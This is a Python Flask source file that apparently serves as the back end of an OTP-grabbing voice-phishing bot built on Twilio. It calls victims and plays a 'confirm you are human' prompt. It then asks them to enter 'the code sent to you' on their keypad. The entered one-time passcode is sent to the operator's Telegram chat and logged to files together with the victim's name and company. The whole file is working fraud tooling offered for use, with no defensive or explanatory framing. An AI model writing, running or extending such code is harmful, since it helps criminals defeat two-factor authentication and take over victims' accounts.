from flask import Flask, request, jsonify, send_from_directory
from twilio.twiml.voice_response import VoiceResponse, Gather, Play
import requests, json
import datetime
import pytz
import os

app = Flask(__name__)


def check_url_accessible(url, timeout=5):
    try:
        r = requests.head(url, timeout=timeout)
        return r.status_code == 200
    except Exception:
        return False


# Attempt to load configured public URL (ngrok), Telegram bot token, and Twilio Function URL
try:
    raw_conf = json.loads(open(os.path.join(os.path.dirname(__file__), 'conf', 'settings.txt'), 'r').read())
    CONFIG_NGROK = raw_conf.get('ngrok_url', '').rstrip('/')
    CONFIG_TWILIO_FUNCTION = raw_conf.get('twilio_function_url', '')
    TELEGRAM_BOT_TOKEN = raw_conf.get('bot_token', 'YOUR_BOT_TOKEN')
except Exception:
    CONFIG_NGROK = ''
    CONFIG_TWILIO_FUNCTION = ''
    TELEGRAM_BOT_TOKEN = 'YOUR_BOT_TOKEN'

TELEGRAM_API_BASE = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}"


def send_telegram_message(chat_id, text):
    """helper func"""
    try:
        url = f"{TELEGRAM_API_BASE}/sendMessage"
        payload = {"chat_id": chat_id, "text": text}
        response = requests.get(url, params=payload)
        return response.status_code == 200
    except Exception as e:
        app.logger.error(f"Error sending message to Telegram: {e}")
        return False


def get_file_path(user_id, filename):
    """Ensure the directory exists and create a dynamic path"""
    base_path = os.path.join(os.path.dirname(__file__), "conf", user_id)
    os.makedirs(base_path, exist_ok=True)
    return os.path.join(base_path, filename)


def get_public_url(user_id, filename):
    """Return a public URL Twilio can fetch to play the audio file.

    Prefer `ngrok_url` from config to ensure Twilio can reach the webhook.
    Fall back to `request.url_root` when config is missing.
    """
    base = CONFIG_NGROK if CONFIG_NGROK else request.url_root.rstrip('/')
    return f"{base}/conf/{user_id}/{filename}"


@app.route("/conf/<user_id>/<filename>")
def serve_conf(user_id, filename):
    """Serve audio files so Twilio can play them"""
    return send_from_directory(os.path.join(os.path.dirname(__file__), "conf", user_id), filename)


@app.route("/voice", methods=["POST"])
def voice():
    chat_id = request.args.get("chat_id", default="*", type=str)
    user_id = request.args.get("user_id", default="*", type=str)

    answered_by = request.values.get("AnsweredBy", "")
    resp = VoiceResponse()

    if answered_by.startswith("machine_end"):
        send_telegram_message(chat_id, "Call Status : Voice Mail")
        resp.say("We'll call you back, thanks")
        resp.hangup()
        return str(resp)

    # Prompt the callee to press a key to confirm they're human
    gather = Gather(
        num_digits=1,
        action=f"{CONFIG_NGROK or request.url_root.rstrip('/')}/gather?chat_id={chat_id}&user_id={user_id}",
        timeout=120,
        input='dtmf',
        method='POST'
    )
    gather.pause(length=1)
    # Play the generated checkifhuman MP3 inside the Gather so DTMF
    # can be captured while the audio is playing. Fall back to TTS if
    # the MP3 isn't available.
    check_url = get_public_url(user_id, "checkifhuman.mp3")
    if check_url and check_url_accessible(check_url):
        gather.play(check_url)
    else:
        gather.say("Hello, to confirm you are human please press 1 now.", voice="alice")
    resp.append(gather)
    return str(resp)


@app.route("/gather", methods=["GET", "POST"])
def gather():
    chat_id = request.args.get("chat_id", default="*", type=str)
    user_id = request.args.get("user_id", default="*", type=str)

    resp = VoiceResponse()

    if "Digits" in request.values:
        choice = request.values["Digits"]
        if choice == "1":
            # Play the generated explanation audio so DTMF can be captured
            explain_url = get_public_url(user_id, "explain.mp3")
            if explain_url and check_url_accessible(explain_url):
                resp.play(explain_url)
            else:
                resp.say("Thank you for confirming. Next, please enter the code sent to you using your keypad.", voice="alice")
            resp.pause(length=2)
            # Read expected number of digits; default to 6 on error
            try:
                num_digits = int(open(get_file_path(user_id, "Digits.txt"), "r").read().strip())
            except Exception as e:
                send_telegram_message(chat_id, f"Warning: couldn't read Digits.txt for user {user_id} ({e}); defaulting to 6 digits")
                num_digits = 6
            gatherotp = Gather(
                num_digits=num_digits,
                action=f"{CONFIG_NGROK or request.url_root.rstrip('/')}/gatherotp?chat_id={chat_id}&user_id={user_id}",
                timeout=120,
                input='dtmf',
                method='POST'
            )
            # Play the generated ask-digits audio so DTMF can be captured during playback
            ask_url = get_public_url(user_id, "askdigits.mp3")
            if ask_url and check_url_accessible(ask_url):
                gatherotp.play(ask_url)
            else:
                gatherotp.say(f"Please enter the {num_digits} digit code now.", voice="alice")
            resp.append(gatherotp)
        else:
            resp.say("Invalid choice. Redirecting.", voice="alice")
            resp.redirect(f"{CONFIG_NGROK or request.url_root.rstrip('/')}/voice?chat_id={chat_id}&user_id={user_id}")
    else:
        resp.redirect(f"{request.url_root.rstrip('/')}/voice")

    return str(resp)


@app.route("/gatherotp", methods=["GET", "POST"])
def gatherotp():
    chat_id = request.args.get("chat_id", default="*", type=str)
    user_id = request.args.get("user_id", default="*", type=str)
    return process_gatherotp(request.values, chat_id, user_id)


def process_gatherotp(values, chat_id, user_id):
    resp = VoiceResponse()
    if "Digits" in values:
        otp = values.get("Digits")
        send_telegram_message(chat_id, f"OTP : {otp}")
        try:
            with open("otp.txt", "w", encoding="utf-8") as otp_file:
                otp_file.write(otp)
        except Exception:
            pass
        try:
            with open("logotp.txt", "a", encoding="utf-8") as log_file:
                timestamp = datetime.datetime.now(pytz.timezone("Asia/Jakarta"))
                try:
                    name = open(get_file_path(user_id, "Name.txt"), "r").read().strip()
                except Exception:
                    name = "(unknown)"
                try:
                    company = open(get_file_path(user_id, "Company Name.txt"), "r").read().strip()
                except Exception:
                    company = "(unknown)"
                log_file.write(f"Tanggal : {timestamp}\nNama : {name}\nCompany : {company}\nOTP : {otp}\n\n")
        except Exception:
            pass
        resp.play("https://credixadigitalwallet.company/voice/thankyou.mp3")
    else:
        resp.say("Sorry, I don't understand that choice.")
        resp.redirect(f"{CONFIG_NGROK or request.url_root.rstrip('/')}/gather")
    return str(resp)


@app.route("/denyotp", methods=["POST"])
def denyotp():
    chat_id = request.args.get("chat_id", default="*", type=str)
    user_id = request.args.get("user_id", default="*", type=str)
    return process_gather(request.values, chat_id, user_id)


def process_gather(values, chat_id, user_id):
    resp = VoiceResponse()

    if "Digits" in values:
        choice = values.get("Digits")
        if choice == "1":
            explain_url = get_public_url(user_id, "explain.mp3")
            if explain_url and check_url_accessible(explain_url):
                resp.play(explain_url)
            else:
                resp.say("Thank you for confirming. Next, please enter the code sent to you using your keypad.", voice="alice")
            resp.pause(length=2)
            try:
                num_digits = int(open(get_file_path(user_id, "Digits.txt"), "r").read().strip())
            except Exception as e:
                send_telegram_message(chat_id, f"Warning: couldn't read Digits.txt for user {user_id} ({e}); defaulting to 6 digits")
                num_digits = 6
            gatherotp = Gather(
                num_digits=num_digits,
                action=f"{CONFIG_NGROK or request.url_root.rstrip('/')}/gatherotp?chat_id={chat_id}&user_id={user_id}",
                timeout=120,
                input='dtmf',
                method='POST'
            )
            ask_url = get_public_url(user_id, "askdigits.mp3")
            if ask_url and check_url_accessible(ask_url):
                gatherotp.play(ask_url)
            else:
                gatherotp.say(f"Please enter the {num_digits} digit code now.", voice="alice")
            resp.append(gatherotp)
        else:
            resp.say("Invalid choice. Redirecting.", voice="alice")
            resp.redirect(f"{CONFIG_NGROK or request.url_root.rstrip('/')}/voice?chat_id={chat_id}&user_id={user_id}")
    else:
        resp.redirect(f"{CONFIG_NGROK or request.url_root.rstrip('/')}/voice?chat_id={chat_id}&user_id={user_id}")

    return str(resp)

@app.route('/gather_proxy', methods=['GET', 'POST'])
def gather_proxy():
    """Forward incoming Gather payload to the configured Twilio Function
    and also process it locally. Return the Function response when available,
    otherwise return the local handler response.
    """
    target = request.args.get('target', '')
    chat_id = request.args.get('chat_id', default='*', type=str)
    user_id = request.args.get('user_id', default='*', type=str)

    values = request.values

    func_resp_text = None
    if CONFIG_TWILIO_FUNCTION:
        try:
            r = requests.post(CONFIG_TWILIO_FUNCTION, data=values, timeout=5)
            if r.ok:
                func_resp_text = r.text
        except Exception as e:
            send_telegram_message(chat_id, f"gather_proxy: Twilio Function forward failed: {e}")

    if target == 'gatherotp':
        local_resp = process_gatherotp(values, chat_id, user_id)
    else:
        local_resp = process_gather(values, chat_id, user_id)

    # Forwarding to the Twilio Function is for logging/transition only.
    # Always return the local TwiML so the call flow continues through explain -> ask digits.
    return local_resp


@app.route("/acceptotp", methods=["POST"])
def acceptotp():
    resp = VoiceResponse()
    resp.play("https://credixadigitalwallet.company/voice/thankyou.mp3")
    return str(resp)


@app.route("/gatherotp_prompt", methods=["POST", "GET"])
def gatherotp_prompt():
    chat_id = request.args.get("chat_id", default="*", type=str)
    user_id = request.args.get("user_id", default="*", type=str)

    resp = VoiceResponse()
    num_digits = int(open(get_file_path(user_id, "Digits.txt"), "r").read().strip())
    gather = Gather(
        num_digits=num_digits,
        action=f"{CONFIG_NGROK or request.url_root.rstrip('/')}/gatherotp?chat_id={chat_id}&user_id={user_id}",
        timeout=120,
        input='dtmf',
        method='POST'
    )
    # Play the generated ask-digits audio so DTMF is captured during playback
    ask_url = get_public_url(user_id, "askdigits.mp3")
    if ask_url and check_url_accessible(ask_url):
        gather.play(ask_url)
    else:
        gather.say(f"Please enter the {num_digits} digit code now.", voice="alice")
    resp.append(gather)
    return str(resp)


@app.route("/playdonothangup", methods=["POST", "GET"])
def playdonothangup():
    """Endpoint Twilio will request to play donothangup.mp3 when a call is answered."""
    chat_id = request.args.get("chat_id", default="*", type=str)
    user_id = request.args.get("user_id", default="*", type=str)

    resp = VoiceResponse()
    # Play the donothangup audio from the local sounds folder
    resp.play(f"{request.url_root.rstrip('/')}/conf/sounds/donothangup.mp3")

    # After donothangup, play the check-if-human MP3 inside a Gather
    # so the callee can press a key while the audio is playing.
    gather = Gather(
        num_digits=1,
        action=f"{CONFIG_NGROK or request.url_root.rstrip('/')}/gather?chat_id={chat_id}&user_id={user_id}",
        timeout=30,
        input='dtmf',
        method='POST'
    )
    gather.play(get_public_url(user_id, "checkifhuman.mp3"))
    resp.append(gather)

    # If no digits were received, Twilio will continue and follow this redirect,
    # which causes the same sequence to repeat (play checkifhuman again).
    resp.redirect(f"{CONFIG_NGROK or request.url_root.rstrip('/')}/playdonothangup?chat_id={chat_id}&user_id={user_id}")

    return str(resp)


if __name__ == "__main__":
    app.run(debug=True)
